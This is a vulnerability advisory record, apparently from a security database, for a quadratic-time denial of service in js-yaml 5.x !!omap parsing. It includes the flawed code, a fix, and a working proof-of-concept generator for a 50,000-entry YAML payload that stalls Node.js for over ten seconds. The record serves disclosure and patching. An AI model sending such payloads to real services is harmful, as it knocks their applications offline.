{"id":"CVE-2026-59870","aliases":["GHSA-724g-mxrg-4qvm"],"url":"https://o3.security/vulnerability/CVE-2026-59870","summary":"js-yaml quadratic-complexity denial of service via YAML11_SCHEMA !!omap parsing","details":"### Summary\n`js-yaml` v5.x introduces `YAML11_SCHEMA` support with the `!!omap` (ordered map) tag. The `omapTag.addItem()` function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses `yaml.load()` with `{ schema: yaml.YAML11_SCHEMA }`.\n\n### Details\nIn `src/tag/sequence/omap.ts` (compiled: `dist/js-yaml.cjs.js:510-525`):\n```js\nvar omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {\n    create: () => [],\n    addItem: (container, item) => {\n        // ...\n        for (const existing of container)   // O(n) per insertion!\n            if (hasOwnProperty(existing, itemKeys[0]))\n                return 'cannot resolve an ordered map item';\n        container.push(object);             // n insertions → O(n^2) total\n        return '';\n    }\n});\n```\nFor a document with `n` unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = **O(n²)** total work.\n\n### PoC (runtime-confirmed on v5.2.0)\n```js\nconst yaml = require('js-yaml');\nfunction buildOmapPayload(n) {\n  let p = '!!omap\\n';\n  for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\\n';\n  return p;\n}\n// Timing results on v5.2.0:\n// n=1000:  9ms\n// n=5000:  73ms  (5x n → 8x time)\n// n=10000: 255ms (2x n → 3.5x time — supralinear)\n// n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed)\n// n=50000: 10613ms          ← blocks event loop for >10 seconds\nyaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA });\n```\n\n### Impact\nAny application that parses untrusted YAML using `yaml.load(input, { schema: yaml.YAML11_SCHEMA })` is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).\n\nThis affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including `!!omap`. The 4.x series is unaffected (no `YAML11_SCHEMA` export).\n\n### Fix\nReplace the O(n) linear scan in `addItem` with an O(1) `Set`-based lookup:\n```js\nvar omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {\n    create: () => ({ list: [], seen: new Set() }),\n    addItem: (state, item) => {\n        const key = Object.keys(item)[0];\n        if (state.seen.has(key)) return 'duplicate omap key';\n        state.seen.add(key);\n        state.list.push(item);\n        return '';\n    },\n    resolve: (state) => state.list\n});\n```","published":"2026-07-08T15:13:20.308Z","modified":"2026-10-08T02:51:27.475592305Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.00644,"percentile":0.4925,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"js-yaml","fixedVersion":"5.2.1"}],"fix":{"url":"https://github.com/nodeca/js-yaml/commit/22a8071ef032117bc6249c330b240ac3aa2d3ded","label":"nodeca/js-yaml@22a8071"},"references":[{"type":"WEB","url":"https://github.com/nodeca/js-yaml/releases/tag/3.15.1"},{"type":"WEB","url":"https://github.com/nodeca/js-yaml/releases/tag/4.3.1"},{"type":"WEB","url":"https://github.com/nodeca/js-yaml/releases/tag/5.2.1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59870.json"},{"type":"ADVISORY","url":"https://github.com/nodeca/js-yaml/security/advisories/GHSA-724g-mxrg-4qvm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59870"},{"type":"FIX","url":"https://github.com/nodeca/js-yaml/commit/22a8071ef032117bc6249c330b240ac3aa2d3ded"},{"type":"FIX","url":"https://github.com/nodeca/js-yaml/commit/39f3211a2f01b3c6982710cf21434ab7060acefe"},{"type":"FIX","url":"https://github.com/nodeca/js-yaml/commit/c3cc4b0bb9ddb9af2dd9b61e0d56f5ce7983cd4a"},{"type":"PACKAGE","url":"https://github.com/nodeca/js-yaml"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-08T02:51:27.475592305Z"}}